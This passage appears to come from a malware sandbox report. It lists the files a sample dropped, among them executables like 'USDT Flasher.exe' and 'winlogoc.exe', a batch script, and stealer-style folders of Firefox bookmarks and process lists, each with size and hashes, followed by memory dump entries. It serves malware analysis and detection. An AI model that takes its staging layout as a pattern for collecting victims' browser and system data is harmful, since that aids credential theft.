5638efe0476c8c1b74c6604db419be814d1d90a0

SHA256
919a332e85d7c32a6f0a1bdd15b211b8b273b73fe05a553ea0f230a0958586c7

SHA512
bafdbc8413828c5427983fa0e9403a2d9a88d0ad2f27f92842310852d273f2d2c9a0c6f9f64e1aac03fadf49f9a3bcf58c6b7c8b06debcce46536114cde0175b

Download Submit
C:\Users\Admin\AppData\Local\1c76c14743ff7abe2e17a600c5321d0a\msgid.dat

Filesize
1B

MD5
cfcd208495d565ef66e7dff9f98764da

SHA1
b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

SHA256
5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

SHA512
31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

Download Submit
C:\Users\Admin\AppData\Local\861cbad1abe83401510809554dc4d600\Admin@ZTSLLRFH_en-US\Browsers\Firefox\Bookmarks.txt

Filesize
105B

MD5
2e9d094dda5cdc3ce6519f75943a4ff4

SHA1
5d989b4ac8b699781681fe75ed9ef98191a5096c

SHA256
c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

SHA512
d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

Download Submit
C:\Users\Admin\AppData\Local\861cbad1abe83401510809554dc4d600\Admin@ZTSLLRFH_en-US\System\Process.txt

Filesize
4KB

MD5
1aceb75fb86d1729c1198d1870b9eaf1

SHA1
fa7747481b1724544f6b152eec6570128bd64d9b

SHA256
a484f29797a13cfe041d4cb0beec6c77093f90065630a4110f36144aac25b42a

SHA512
db34dea42c696494642271337dd4da81b2b1282cf500edfec3d0590a49a2d6c228ddcfb2593e4592e06a645be8ff05553bcdef9566fb0f70df37b22f47941117

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Interrupi.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Temp\Rot.bat

Filesize
229B

MD5
5623353a38611880912397750358a0cf

SHA1
1abfda3058cae5b11da3e6551fbec2eb354a25d3

SHA256
4b97706d98357279a5f3f1c720f384a47d020a1fbb6aac5460e1d87786aba86c

SHA512
78b78820ce33341f40f71924087d255b6ec74472bb22562a2bfadf5f090662c691d5a293f5f8148477f414cf7f38c53c490b595489d79966d944dfe73097f0fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2spvdyxt.04i.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ffazktyk.vz4

Filesize
48KB

MD5
349e6eb110e34a08924d92f6b334801d

SHA1
bdfb289daff51890cc71697b6322aa4b35ec9169

SHA256
c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a

SHA512
2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

Download Submit
C:\Users\Admin\AppData\Local\Temp\qszcvp3q.1iw

Filesize
124KB

MD5
9618e15b04a4ddb39ed6c496575f6f95

SHA1
1c28f8750e5555776b3c80b187c5d15a443a7412

SHA256
a4cd72e529e60b5f74c50e4e5b159efaf80625f23534dd15a28203760b8b28ab

SHA512
f802582aa7510f6b950e3343b0560ffa9037c6d22373a6a33513637ab0f8e60ed23294a13ad8890935b02c64830b5232ba9f60d0c0fe90df02b5da30ecd7fa26

Download Submit
C:\Users\Admin\AppData\Local\Temp\yvuhkie2.db1

Filesize
20KB

MD5
49693267e0adbcd119f9f5e02adf3a80

SHA1
3ba3d7f89b8ad195ca82c92737e960e1f2b349df

SHA256
d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f

SHA512
b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

Download Submit
C:\Users\Admin\AppData\Roaming\S444.exe

Filesize
33KB

MD5
17e158e0f91dcc8168f2e416035926ed

SHA1
aac8bf1174db86568aab282b8a8de953c372ef1e

SHA256
bb0ef384a2d6f8fff82eecd15908bd39146ffa65810c2c56934c32c88abac94b

SHA512
383df3fa4eaecbfc6698961d3a8f5fe726db3e0cddf83f357bc9f2947328a284f4fe5b13f2eb866ea9c50eafbb5fc45b788b8401edffcbfc5bf068f545dd167c

Download Submit
C:\Users\Admin\AppData\Roaming\SYS.exe

Filesize
226KB

MD5
1bf114677a69802600ff29c5ce65f464

SHA1
9d05e8414eea793f8260bfb05f359c9b056c7e43

SHA256
57b0c0581e640d275739c192361ec44d4d2af6db1dc74ea4e7e77e1c5e666736

SHA512
d111b149ef24c165976dd37a16e5525f73752a4f3ec66d0cf4faace019e27a8e09815655bbdfe428791dbda365e1172819a820df19d0a5647f21fcadf1afabe2

Download Submit
C:\Users\Admin\AppData\Roaming\USDT Flasher.exe

Filesize
775KB

MD5
8584a85ec4f91388e65c963c2b458f33

SHA1
023812da246e015601307c357cd4c685df28977c

SHA256
a4c72195c7e45148d8c98c6a58c9c71dc480d496c2daad053b4bfab581225f62

SHA512
b72bb8d9b842c145c5f3b0a2dfb9eac21e297c871388150386e5f74f4946e8a616e597a3d7a63eff8919789c9527f2f4e4861b4f76ff3713c80c292e9105e9f6

Download Submit
C:\Users\Admin\AppData\Roaming\ss32.exe

Filesize
94KB

MD5
cbe1be5547cc26f924d6fa48b4abca92

SHA1
972f9afdb39425a4764be0a91552613e49eba7f3

SHA256
549565dab31274ecd5370f02766116260e56390b405231ddaf3a7186395f1d9f

SHA512
be567464ab80a4c00f7b499c1b645cf2ef301242a5feffad1b6dca8b2281f066a9f0ae63fbf8715c3e3c3b0dc6c8e1093d057ff245c5de5f8b39da37eb56a272

Download Submit
C:\Users\Admin\AppData\Roaming\winlogoc.exe

Filesize
72KB

MD5
33fba80c2580eebf95e25dea03331f68

SHA1
d0ed67fbbff537eb393206fc41c18d59b9a4bb3c

SHA256
4cbe94aefe8a24ebac9fb5c11c1efc89c15b1a7b1a2bf3587baface318ee4b2b

SHA512
8213c45c68a38984a2ad11ab0651ae9933dc538ff260e31753f2f9c3aacff038048bcf2680bb7993b5f4005f48ae7e5c74e7325bdf6ef20df1ae7aa58f7ae4bc

Download Submit
memory/2960-62-0x0000000000EC0000-0x0000000000F88000-memory.dmp

Filesize
800KB

Download
memory/2960-67-0x0000000005970000-0x0000000005A02000-memory.dmp

Filesize
584KB

Download
memory/2960-69-0x00000000032F0000-0x00000000032FA000-memory.dmp

Filesize
40KB

Download
memory/2960-70-0x0000000005B60000-0x0000000005BB6000-memory.dmp

Filesize
344KB

Download
memory/3016-257-0x0000000006410000-0x000000000641A000-memory.dmp

Filesize
40KB

Download
memory/3016-59-0x0000000000ED0000-0x0000000000F0E000-memory.dmp

Filesize
248KB

Download
memory/3192-258-0x00007FFCBD1D0000-0x00007FFCBDC91000-memory.dmp

Filesize
10.8MB

Download
memory/3192-76-0x00007FFCBD1D0000-0x00007FFCBDC91000-memory.dmp

Filesize
10.8MB

Download
memory/3192-32-0x00007FFCBD1D3000-0x00007FFCBD1D5000-memory.dmp

Filesize
8KB

Download
memory/3192-33-0x0000000000A40000-0x0000000000A58000-memory.dmp

Filesize
96KB

Download
memory/3332-64-0x0000000005590000-0x000000000562C000-memory.dmp

Filesize
624KB

Download
memory/3332-53-0x000000007383E000-0x000000007383F000-memory.dmp

Filesize
4KB

Download
memory/3332-63-0x0000000005A60000-0x0000000006004000-memory.dmp

Filesize
5.6MB

Download
memory/3332-65-0x0000000005630000-0x0000000005696000-memory.dmp

Filesize
408KB

Download
memory/3332-61-0x0000000000CD0000-0x0000000000CDE000-memory.dmp

Filesize
56KB

Download
memory/3792-260-0x0000000007940000-0x000000000795A000-memory.dmp

Filesize
104KB

Download
memory/3792-242-0x00000000061F0000-0x0000000006256000-memory.dmp

Filesize
408KB

Download
memory/3792-254-0x0000000006930000-0x000000000697C000-memory.dmp

Filesize
304KB

Download
memory/3792-252-0x00000000062D0000-0x0000000006624000-memory.dmp

Filesize
3.3MB

Download
memory/3792-259-0x0000000007FF0000-0x000000000866A000-memory.dmp

Filesize
6.5MB

Download
memory/3792-240-0x0000000005950000-0x0000000005F78000-memory.dmp

Filesize
6.2MB

Download
memory/3792-253-0x0000000006880000-0x000000000689E000-memory.dmp

Filesize
120KB

Download
memory/3792-241-0x00000000058C0000-0x00000000058E2000-memory.dmp

Filesize
136KB

Download
memory/3792-239-0x0000000002F90000-0x0000000002FC6000-memory.dmp

Filesize
216KB

Download
memory/4872-68-0x000000001B330000-0x000000001B344000-memory.dmp

Filesize
80KB

Download
memory/4872-54-0x00007FFCBD1D3000-0x00007FFCBD1D5000-memory.dmp

Filesize
8KB

Download
memory/4872-57-0x0000000000770000-0x000000000078E000-memory.dmp

Filesize
120KB

Download
memory/4872-66-0x000000001B310000-0x000000001B328000-memory.dmp

Filesize
96KB

Download
memory/4992-278-0x0000000006570000-0x000000000657E000-memory.dmp

Filesize
56KB

Download
memory/4992-285-0x0000000007C70000-0x0000000007FC4000-memory.dmp

Filesize
3.3MB

Download
memory/4992-284-0x0000000007C20000-0x0000000007C70000-memory.dmp

Filesize
320KB

Download
memory/4992-282-0x00000000078E0000-0x0000000007978000-memory.dmp

Filesize
608KB

Download
memory/4992-283-0x0000000007B30000-0x0000000007BC4000-memory.dmp

Filesize
592KB

Download
memory/4992-279-0x00000000065E0000-0x00000000065EA000-memory.dmp

Filesize
40KB

Download